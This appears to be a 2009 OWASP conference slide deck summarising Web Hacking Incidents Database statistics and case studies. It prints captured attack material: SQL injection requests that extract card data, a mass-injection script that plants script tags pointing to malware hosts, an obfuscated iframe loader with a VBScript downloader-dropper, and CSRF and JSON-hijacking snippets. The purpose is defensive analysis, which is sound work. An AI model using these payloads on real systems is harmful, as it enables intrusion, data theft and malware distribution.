The Web Hacking Incidents Database (WHID) Report: January – June 2009

Ryan Barnett
WASC Board Member
OWASP Project Leader
Director of Application Security Research, Breach Security
ryan.barnett@breach.com

AppSec DC

The OWASP Foundation
http://www.owasp.org
Ryan Barnett

Background

- Breach Security
  - Director of Application Security Research
  - Leader of Breach Security Labs
  - ModSecurity Community Manager
- Previously Chief Security Officer for government client
  - Background as an IDS/Web Security Admin
- Author
  - Preventing Web Attacks with Apache
- Blog
  - http://tacticalwebappsec.blogspot.com
- Email
  - Ryan.Barnett@breach.com
  - rcbarnett@gmail.com
Ryan Barnett

Community Projects

- Open Web Application Security Project (OWASP)
  - Speaker/Instructor
  - Project Leader, ModSecurity Core Rule Set
- Web Application Security Consortium (WASC)
  - Board Member
  - Project Leader, Distributed Open Proxy Honeypots
- The SANS Institute
  - Courseware Developer/Instructor
- Center for Internet Security (CIS)
  - Apache Benchmark Project Leader
Presentation Outline

Topics Covered

- Speaker Background
- The Challenge of Risk Analysis for Web Applications
- Available Vulnerability Resources
- Available Attack Resources
- The Web Hacking Incidents Database (WHID)
- 2009 Bi-Annual Report
- Incidents of Interest (January – June)
The Trinity of Trouble

Web Application Security Issues

- Connectivity
  - HTTP(S) is open to just about anyone
  - UFBP (Universal Firewall Bypass Protocol)

- Complexity
  - Multiple Tiers
  - Web Services
  - B2B
  - Web 2.0/Mash-Ups
  - Web application flow diagrams?

- Extensibility
  - New features are constantly being added
Web Application Development

Desired vs. Coded Functionality

- Desired Application Functionality
- Actual Coded Functionality

- Missing/Broken Functionality (Found through Functional Unit Testing)
- Configuration Mistake (Security Testing)
- Unintended Functionality (Security Testing)
Web Application Security

*High Risk Equation*

- **Threat** - Web Attacks are Crime Driven:
  - Today, most done for money and not for glory.
  - Performed by professionals or for a cause.
- **Vulnerabilities** – Complex and Poorly Code Applications:
  - Priority of features and schedule before security.
  - Developers are not trained in secure coding for the web (Trusting User Input).
- **Impact** - Web Applications Access Sensitive Information:
  - Manipulate critical data
  - Information Disclosures
Web Incidents Are Difficult To Quantify

Only The Tip Of The Iceberg…

- Web Attacks are Stealth:
  - Victims hide breaches.
  - Incidents are not detected.

- Statistics are Skewed:
  - Defacement (visible) and information leakage (regulated) are publicized more than other breaches.
  - Mass attacks are not properly reflected.
  - Merely a data sample - Numbers reported by WHID are statistically insignificant
    - 57 for 2008
    - 44 for 1st half of 2009

- Would it happen to you?
  - How does your organization’s security compare to others in your vertical market?
Web Vulnerabilities

Available Resources

- Databases
  - SANS @Risk, Bugtraq, Mitre CVE
- Statistics
  - WASC Statistics Project
  - OWASP Top 10
- Provides the “vulnerable” Risk component.
  - Skewed towards “easy to find” vulnerabilities.
- Are these the most costly (impact)?
- Are these the same ones that are actively being exploited (risk)?
Based on the CVE vulnerability database.

Minor expert adjustments (CSRF for example).

Is it prioritized based on real world attacks? We will see in this presentation.

<table>
<thead>
<tr>
<th>Attack</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td>XSS</td>
</tr>
<tr>
<td>A2</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>A3</td>
<td>Malicious File Execution</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object Reference</td>
</tr>
<tr>
<td>A5</td>
<td>CSRF</td>
</tr>
<tr>
<td>A6</td>
<td>Information Leakage and Improper Error Handling</td>
</tr>
<tr>
<td>A7</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A8</td>
<td>Insecure Cryptography</td>
</tr>
<tr>
<td>A9</td>
<td>Insecure Communication</td>
</tr>
<tr>
<td>A10</td>
<td>Failure to Restrict parameter passed in URL</td>
</tr>
</tbody>
</table>

XSS is up, but probably overrated from a risk perspective.

Includes SQL Injection. Combining many attacks to A2 allowed so many new entries.

The new kid in town. Overhyped but may become a commonly exploited vulnerability in the future.
Web Attacks

Available Resources

- WASC Distributed Open Proxy Honeypots Project (www.webappsec.org/projects/honeypots/)
  - Function as conduits for the attacks by running as an open proxy servers.
  - Great resource however it is still limited in scope.
- Zone-H (www.zone-h.org)
  - The most comprehensive attack repository, very important for public awareness.
  - Reported by hackers and focus on defacements.
- Data loss databases (datalossdb.org)
  - Includes any data loss incidents (lost laptop, etc…)
  - Address a larger problem.

<table>
<thead>
<tr>
<th>Attack Method</th>
<th>Total 2007</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attack against the administrator/user (password stealing/sniffing)</td>
<td>141.660</td>
</tr>
<tr>
<td>Shares misconfiguration</td>
<td>67.437</td>
</tr>
<tr>
<td>File Inclusion</td>
<td>61.011</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>35.407</td>
</tr>
<tr>
<td>Access credentials through Man In the Middle attack</td>
<td>28.046</td>
</tr>
<tr>
<td>Other Web Application bug</td>
<td>18.048</td>
</tr>
</tbody>
</table>
The Web Hacking Incidents Database

A Web Application Security Consortium (WASC) Project dedicated to recording web application security related incidents.

http://www.xiom.com/whid
WHID Database Content

Recording Web Application Security Incidents

- Incidents since 1999
- Each incident is classified
  - Attack type
  - Outcome
  - Country of organization attacked
  - Industry segment of organization attacked
  - Country of origin of the attack (if known)
  - Vulnerable Software
- Additional information:
  - A unique identifier: WHID 200x-yy
  - Dates of occurrence and reporting
  - Description
  - Internet references

---

**WHID 2009-26: F-Secure Joins The Breached AV Vendors Club**

*Tagged: F-Secure*

*Updated: 19 February 2009*

**Attack Information**
- WHID ID: 2009-26
- Date Occurred: 11 Feb 2009
- Attack Method: Cross Site Scripting (XSS) SQL Injection
- Outcome: Leakage of Information

**Target Information**
- Attacked Entity Field: Technology
- Attacked Entity Geography: Finland

**Source Information**
- Attack Source Geography: Romania

It wasn't surprising that after attacking a Kasperski and a BitDefender web sites, Uno, the Romanian hacker, would continue to strike anti-virus vendors. This time he found a vulnerability in the web site of Finish AV vendor F-Secure. Somewhat less severe than the others, the vulnerability enabled the hacker only to access virus statistics.
WHID Database Content

Inclusion Criteria

- The database includes only
  - Publicly disclosed incidents.
  - Only web application related incidents.

- Incidents of interest
  - We do not include most mass defacements.
  - Defacements of “High Profile” sites are included.

- Criteria
  - Ensure quality and correctness of incidents.
  - Severely limits the number of incidents that gets in.

US feds pull travel site offline after hacker break-in
GovTrip trips up

By Dan Goodin • Get more from this author
Posted in Security, 19th February 2009 19:29 GMT
Free whitepaper – The greening of IT

A travel reservations website used by US government agencies remains offline more than a week after it was infected with malware that tried to install malicious code on the PCs of those who visited the site.
Life is good Inc. has notified several customers that a database containing their confidential credit card information was recently breached by intruders.

The Boston-based apparel company said Tuesday that intruders illegally accessed the lifeisgood.com database, which included address and credit card numbers for about 9,250 Life is good customers. Although it is unclear if any data was copied, the illegally accessed information included name, address and credit card numbers. The database did not include date of birth, social security or driver's license numbers.

Company officials said they have put additional security measures in place to prevent future violations. The breach was reported to federal law enforcement authorities who are investigating the incident.
The Federal Trade Commission alleges that, as a result of these failures, a hacker was able to use SQL injection attacks on Life is good’s Web site to access the credit card numbers, expiration dates, and security codes of thousands of consumers.
Web Application Security Trends

January – June 2009
WHID 2008 Summary

Attacked Entity Geography

- North America: 57%
- Europe: 23%
- Asia: 6%
- South America: 2%
- Australia: 2%
- New Zealand: 6%
- Middle East: 4%

WHID Interface and Contributors are mainly English speaking so entries are a bit skewed.
Incidents By Attack Methods

- Mass SQL Injection Bots and Stealing Credit Card Data
- Hiding compromise details or Inadequate logging
- Overrated - Easier to find than to exploit for profit.

- SQL Injection: 19%
- Unknown: 11%
- Insufficient Authentication: 11%
- Content Spoofing: 10%
- Insufficient Anti-Automation (DoS/Brute Force): 10%
- Configuration/Admin Error: 8%
- Cross-site Scripting (XSS): 8%
- Cross-site Request Forgery (CSRF): 5%
- DNS Hijacking: 5%
- Other: 10%
- Worm: 3%
WHID 2009 Attack Summary

*Trends vs. 2008*

- SQL Injection is still the #1 attack vector
  - Percentage, however, dropped from 30% to 19%
  - Mass SQL Injection bots of 2008 are tapering off
- Unknown category is still #2
  - Technical details aren’t usually disclosed except by regulatory entities (FTC) or by the attacker’s themselves (public blog posts/screenshots)
- Content Spoofing attacks have increased dramatically
- Death by a thousand cuts
  - Insufficient Authentication (mistakenly publishing sensitive data)
  - Configuration Mistakes/Administration Errors
SQL Injection Example

Real Multi-Step Manual Attack
SQL Injection Attack

Targeting an ASP Page

Request Details

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select%20@version%2b'/%2b'@servername%2b'/%2bdb_name()/%2b'/%2bsystem_user))--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128

Attacker targets an ASP page.

Application is expecting an email address in the LoginEmail parameter.
Injection Unexpected Data

Exploiting a Lack of Input Validation

Request Details

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select%20@version%2b'/%2b'@servername%2b'/%2bdb_name()%2b'/%2bsystem_user))-sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128

Attacker injects an SQL Query in the LoginEmail parameter.
Reconnaissance Query

Enumerating Database Variables

Attacker is attempting to enumerate system information to help fine tune their attack.

Request Details

GET /cart/logexecute.asp?LoginEmail='%20or%201=convert(int,(select%20@version%2b'/%2b'\@servername%2b'/%2bdb_name()/%2b'/%2bsystem_user))--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128
Abusing Database Auditing Features

When an MS-SQL DB server receives this string, it will NOT log the transaction even if auditing is enabled.
Response Data

Application Returns Errors

Response Details

HTTP/1.1 500 Internal Server Error
Content-Length: 593
Content-Type: text/html
Cache-control: private
Set-Cookie: ASPSESSIONIDIDCCQCSRDQ=EHEPIKBBB; Path=/
Connection: close

<p>Microsoft OLE DB Provider for ODBC Drivers 2.5.50504.000 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
/EXAMPLE_SQL/OPX/OPX2' to a column of data type int.</p>
### Response Details

<table>
<thead>
<tr>
<th>HTTP/1.1 500 Internal Server Error</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content-Length: 598</td>
</tr>
<tr>
<td>Content-Type: text/html</td>
</tr>
<tr>
<td>Cache-control: private</td>
</tr>
<tr>
<td>Set-Cookie: ASPSESSIONIDCQCSRDQ=EB81E14F8930CD52FED81E14F8930CD52FED</td>
</tr>
<tr>
<td>Connection: close</td>
</tr>
</tbody>
</table>

Injected SQL Query executed successfully and the output is displayed in the error text. Attacker now knows the DB version, Service Pack Level, etc…
Final Phase Attack

Targeting Customer Data

Attacker sends a new SQL Injection attack that is targeting client Credit Card data.
Response Data

*Includes Customer Data*

### Response Details

<table>
<thead>
<tr>
<th>HTTP/1.1 500 Internal Server Error</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content-Length: 573</td>
</tr>
<tr>
<td>Content-Type: text/html</td>
</tr>
<tr>
<td>Cache-control: private</td>
</tr>
<tr>
<td>Connection: close</td>
</tr>
</tbody>
</table>

```html
Once again, the SQL Query successfully executed and extracts customer data.
```

```html
Microsoft OLE DB Provider for ODBC Drivers
<font face="Arial" size=2>e '80040e07'</font><
Microsoft [ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'Feb 13 2007 12:00AM/47699/John/Doe/128 Da
niel Someplace Dr/City/06354/DC/US/John C Doe Jr/ /k#151;Ut&x#136;i&x#132;i&x#131;x#141;i&x#133;x#77;qzzv/02/2009/4792/jd
oe@email.net/888.555.7578' to a column of data type int.
```

```html```
```
WHID 2009 Summary

*Incidents By Attack Outcome*

- Defacement/Planting Malware: 28%
- Information Leakage/Stealing Sensitive Data: 26%
- Disinformation: 19%
- Monetary Loss: 11%
- Downtime: 4%
- Link Spam: 4%
- Phishing: 2%
- Other: 6%
WHID 2009 Outcome Summary

Trends vs. 2008

- Defacements/Planting Malware remains #1
  - Percentage, however, decreased from 41% to 28%
- Information Leakage/Stealing Sensitive Data remains #2
  - Percentage increased from 21% to 26%
- Disinformation jumped to #3
- Monetary Loss and Downtime stayed at #4 and #5
Mass SQL Injection Bots/Planting Malware

Targeting Website Users

- **Threat** – Generic SQL Injection
  - Site value is its large customer-base.

- **Vulnerabilities** – 3 issues
  - Lack of Input Validation
  - Poor Database configuration/SQL construction
  - Lack of proper HTML Output Encoding

- **Impact** – Cross-site Scripting/Malware Installation:
  - Attack uses sites as malware distribution point.
  - May cause database corruption.
The Game Has Changed

**Generic SQL Injection**

- Custom coded web applications provided diversity/uniqueness that prevented mass exploit outbreaks.
- Reconnaissance was required to enumerate app structure.
- Manual probing offered defenders time to react.
- Mass SQL Injection bots inject a script that enumerates and updates databases.
Mass SQL Injection Bots

**Attack Workflow**

1. Infected computer executes Google search for "\.asp" + "parameter=“ and sends SQL Injection+Malware exploit to all returned hosts

2. Victim views page – malware downloads

3. Script silently downloads trojan code attacker’s website
Captured SQL Injection Attack

Obscured Payload

GET /target.asp;DECLARE @S NVARCHAR(4000);SET @S=CAST (0x4400450043004c0041005200450020004000540020007600610072006300680061007200280032003500350029002c0040004300200076006100720063006800610072002800320035003500290020004400450043004c0041005200450020065005f004300750073006f007200%20as%20nvarchar(4000));exec(@s);--

2006c0065005f0043007500720073006f007200200044004500430041005200450020065005f004300750073006f007200200044004500430041005200450020065005f004300750073006f007200%20as%20nvarchar(4000));exec(@s);--

Unclosed quotation mark before the character string ‘G;DECLARE @S NVARCHAR(4000);SET @S=CAST (0x4400450043004c0041005200450020004000540020007600610072006300680061007200280032003500350029002c0040004300200076006100720063006800610072002800320035003500290020004400450043004c0041005200450020065005f004300750073006f007200%20as%20nvarchar(4000));exec(@s);--

202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy +Library) - 500 15248
Decoded SQL Data

Executing a Looping Script

```sql
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
    select a.name, b.name
    from sysobjects a, syscolumns b
    where a.id = b.id
    and a.xtype = 'u'
    and (b.xtype = 99 or b.xtype = 35 or b.xtype = 231
    or b.xtype = 167)
OPEN Table_Cursor FETCH NEXT
    FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0)
BEGIN
    exec('update [' + @T + ']
        set [' + @C + ']=rtrim(convert(varchar, [' + @C + ']))
        + ''<script src=http://www.qigigm.com/m.js></script>''
    )
    FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

- Select all columns in all tables
- Iterate over them
- Append script tag pointing to malware
- Specific to MS-SQL tables structure but could be adapted to other DBs.
- Default MS-SQL security is somewhat at blame.
- Script brutally modifies ALL fields in the application:
  - Assumes some will be displayed back to the user.
  - Hopes that the application would not be damaged beyond use.
- Easy to detect and avoid in the 1st place, yet so many sites where hacked!

- Simple signatures
- Database security
Originally targeted ASP/ASP.Net front-end with MS-SQL back-end

We are seeing evidence of different front-ends being compromised
- ColdFusion (.cfm)
- PHP (.php)
- Java Server Pages (.jsp)
- Java (.do)

Therefore many websites “thought” they were safe but weren’t…

Targeting Non-ASP Front-ends
Mass SQL Injection Bots – Recent Updates

Optimizing the Javascript Code

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE (@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script
src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''
where '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--
end if--'') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Mass SQL Injection Bots – Recent Updates

New Attack Vector - Cookies

POST /removed.asp HTTP/1.1
Cookie: start=S end=Z%3BDECLARE%20@S
%20VARCHAR(4000)%20S
%20VARCHAR(4000)%3BSET%20@S
%3DCAST(0x44454....
Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
Expect: 100-continue
Connection: Keep-Alive

- Are you logging full request headers that include Cookie data?
Defacement + Malware Example

WASC Distributed Open Proxy Honeypot Project

Hacked by 0x90

Welcome to the Jungle!

WWW.0x90.COM.AR

Contact: Guns@0x90.com.ar
Appended Data

Obfuscated Javascript

```
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%3C%2F%73%63%72%69%70%74%3E'));
//-->
</Script>
```
<!--
document.write(unescape("<iframe width="0" height="0" src="http://royy.byethost7.com/url.htm" scrolling="no" frameborder="0"></iframe>

<iframe width="0" height="0" src="bicho.wml" scrolling="no" frameborder="0"></iframe>

<iframe width="0" height="0" src="bicho.htm" scrolling="no" frameborder="0"></iframe>

<iframe width="0" height="0" src="embed.htm" scrolling="no" frameborder="0"></iframe>

"));
//-->

Appended Data
Decoded Javascript
tf = fso.CreateTextFile(cSystemDir + "runit.vbs", true);
//tf = fso.CreateTextFile("c:\runit.vbs", true);
tf.WriteLine("On Error Resume Next");
tf.WriteLine("Set xml = CreateObject("Microsoft.XMLHTTP")");
tf.WriteLine("xml.Open "GET", URL, False");
tf.WriteLine("xml.Send");
tf.WriteLine("set oStream = createobject("Adodb.Stream")");
tf.WriteLine("oStream.type = 1");
tf.WriteLine("oStream.open");
tf.WriteLine("oStream.write xml.responseBody");
tf.WriteLine("oStream.savetofile " + cSystemDir + "xD.exe", 1");
tf.WriteLine("oStream.close");
tf.WriteLine("set oStream = nothing");
tf.WriteLine("Set xml = Nothing");
tf.WriteLine("Set oShell = createobject("WScript.Shell")");
tf.WriteLine("oShell.run " + cSystemDir + "xD.exe", 1, false");
objShell.run("c:\" + cSystemDir + "runit.vbs\"");
embed.htm

Attempted ActiveX Malware Install

<object name="x" classid="clsid:12345678-1234-1234-1234-123456789012"
WHID 2009 Summary

*Incidents By Attacked Organization Type*

- **Social/Web 2.0**: 19%
- **Education**: 5%
- **Finance**: 5%
- **Government/Politics**: 12%
- **Internet**: 12%
- **Retail**: 12%
- **Technology**: 12%
- **Media**: 16%
- **Entertainment**: 12%

Huge jump from 2008 – mainly due to attacks against Facebook/Twitter, etc.

Was #3 in 2008: Being targeted less or is security better?

Will always be high on WHID due to PCI/Regulations
2009 Incidents of Interest

Finance/Retail Attack Methodology
Unu vs. Anti-Virus Vendors
Twitter Attacks
Time’s Most Influential Poll
They identify Web sites that are vulnerable to SQL injection. They appear to target MSSQL only.

They use "xp_cmdshell", an extended procedure installed by default on MSSQL, to download their hacker tools to the compromised MSSQL server.

They obtain valid Windows credentials by using fgdump or a similar tool.

They install network "sniffers" to identify card data and systems involved in processing credit card transactions.

They install backdoors that "beacon" periodically to their command and control servers, allowing surreptitious access to the compromised networks.

They target databases, Hardware Security Modules (HSMs), and processing applications in an effort to obtain credit card data or brute-force ATM PINs.

They use WinRAR to compress the information they pilfer from the compromised networks.

Unu vs. Anti-Virus Vendors

Romanian Attacker Launches Targeted Attacks
Twitter Attacks

Brute Forcing Login Credentials

- Insufficient Anti-Automation
  - Twitter does not block repetitive login failures
- Attacker compromised an Admin account that had a tool which allowed password resets for other accounts
- Compromised 33 accounts including President Obama’s
- 3 different WHID Events

**WHID 2009-2: Twitter accounts of the famous hacked (Updated)**

<table>
<thead>
<tr>
<th>Tagged: Password</th>
</tr>
</thead>
</table>

Updated: 11 January 2009

**Attack Information**
- WHID ID: 2009-2
- Date Occurred: 5 Jan 2009
- Attack Method: Brute Force Insufficient Authentication

**Outcome Information**
- Outcome: Defacement

**Target Information**
- Attacked Entity Field: Web 2.0
- Attacked Entity Geography: USA
- Attacked System’s Technology: Administration Tool

**Source Information**
- Attack Source Geography: USA
Twitter Attacks

CSRF Attacking JSON Feeds

WHIL 2009-4: Twitter Personal Info CSRF

<scri>
Object.prototype.__defineSetter__('user', function(obj)
{for(var i in obj) {alert(i + '=' + obj[i]);}}
</scri>

Twitter Attacks

Object.prototype.__defineSetter__('user', function(obj)
{for(var i in obj) {alert(i + '=' + obj[i]);}}

<script defer defer src=https://twitter.com/statuses/friends_timeline/>
Twitter Attacks

*Double Clickjacking Worm – Forcing a Tweet*
Twitter Attacks

XSS/CSRF Worm – Updating Profiles

WHID 2009-37: Twitter XSS/CSRF worm series (Updated)

Updated: 19 April 2009

Attack Information

WHID ID: 2009-37
Date Occurred: 11 Apr 2009
Attack Method: Cross Site Request Forgery (CSRF)
   Cross Site Scripting (XSS)

Outcome Information

Outcome: Disinformation Worm

Target Information

Attacked Entity Field: Web 2.0

Source Information

Attack Source Geography: USA
Time’s Most Influential Poll Abuse

**Insufficient Anti-Automation**

<table>
<thead>
<tr>
<th>Rank</th>
<th>Name</th>
<th>Avg. Rating</th>
<th>Total Vote</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>moot</td>
<td>87</td>
<td>12,939,521</td>
</tr>
<tr>
<td>2</td>
<td>Anwar Ibrahim</td>
<td>42</td>
<td>1,632,411</td>
</tr>
<tr>
<td>3</td>
<td>Rick Warren</td>
<td>42</td>
<td>1,290,988</td>
</tr>
<tr>
<td>4</td>
<td>Baitullah Mehsud</td>
<td>40</td>
<td>1,281,854</td>
</tr>
<tr>
<td>5</td>
<td>Larry Brilliant</td>
<td>39</td>
<td>1,425,061</td>
</tr>
<tr>
<td>6</td>
<td>Eric Holder</td>
<td>38</td>
<td>1,215,008</td>
</tr>
<tr>
<td>7</td>
<td>Carlos Slim</td>
<td>37</td>
<td>1,311,525</td>
</tr>
<tr>
<td>8</td>
<td>Angela Merkel</td>
<td>37</td>
<td>1,069,787</td>
</tr>
<tr>
<td>9</td>
<td>Kobe Bryant</td>
<td>36</td>
<td>1,195,005</td>
</tr>
<tr>
<td>10</td>
<td>Evo Morales</td>
<td>34</td>
<td>1,045,245</td>
</tr>
<tr>
<td>11</td>
<td>Alexander Lebedev</td>
<td>34</td>
<td>640,115</td>
</tr>
<tr>
<td>12</td>
<td>Lil Wayne</td>
<td>33</td>
<td>637,426</td>
</tr>
<tr>
<td>13</td>
<td>Sheikh Ahmed bin Zayed Al Nahyan</td>
<td>32</td>
<td>622,054</td>
</tr>
<tr>
<td>14</td>
<td>Odell Barnes</td>
<td>31</td>
<td>621,182</td>
</tr>
<tr>
<td>15</td>
<td>Tina Fey</td>
<td>30</td>
<td>646,446</td>
</tr>
<tr>
<td>16</td>
<td>Hu Jintao</td>
<td>29</td>
<td>614,359</td>
</tr>
<tr>
<td>17</td>
<td>Eric Cantor</td>
<td>28</td>
<td>580,189</td>
</tr>
<tr>
<td>18</td>
<td>Gamal Mubarak</td>
<td>27</td>
<td>580,389</td>
</tr>
<tr>
<td>19</td>
<td>Ali al-Naimi</td>
<td>26</td>
<td>627,786</td>
</tr>
<tr>
<td>20</td>
<td>Muqtada al-Sadr</td>
<td>25</td>
<td>564,094</td>
</tr>
<tr>
<td>21</td>
<td>Elizabeth Warren</td>
<td>24</td>
<td>559,800</td>
</tr>
<tr>
<td>22</td>
<td>Manny Pacquiao</td>
<td>23</td>
<td>9,382,234</td>
</tr>
</tbody>
</table>
Time’s Most Influential Poll Abuse

Auto-Voter SPAM URLs

- Target Poll URL
  http://www.timepolls.com/contentpolls/Vote.do?pollName=time100_2009&id=1883924&rating=1

- Auto-voter SPAM link URL

- Auto-voter page display
  Down voting: 1883924 to 1% influence 200 times per page load.

- Time’s response – implement an MD5 hash key
Time’s Most Influential Poll Abuse

CSRF Attacks – Includes Md5 Hash Key

<html>
<head>
<title></title>
</head>
<body>
<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b"/>

<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b"/>

...
</body>
</html>
Time’s Most Influential Poll Abuse

Auto-Voter - Mooter

Use of Open Proxy Servers

The remaining 12/sec were used to downvote moot’s opponents

Time attempted rate-limit enforcement – 1 up vote allowed every 13/sec
Questions?

Work - Ryan.Barnett@breach.com
 Personal – Rcbarnett@gmail.com
 Blog - http://tacticalwebappsec.blogspot.com/
 Further information at the WHID web site: http://www.xiom.com/whid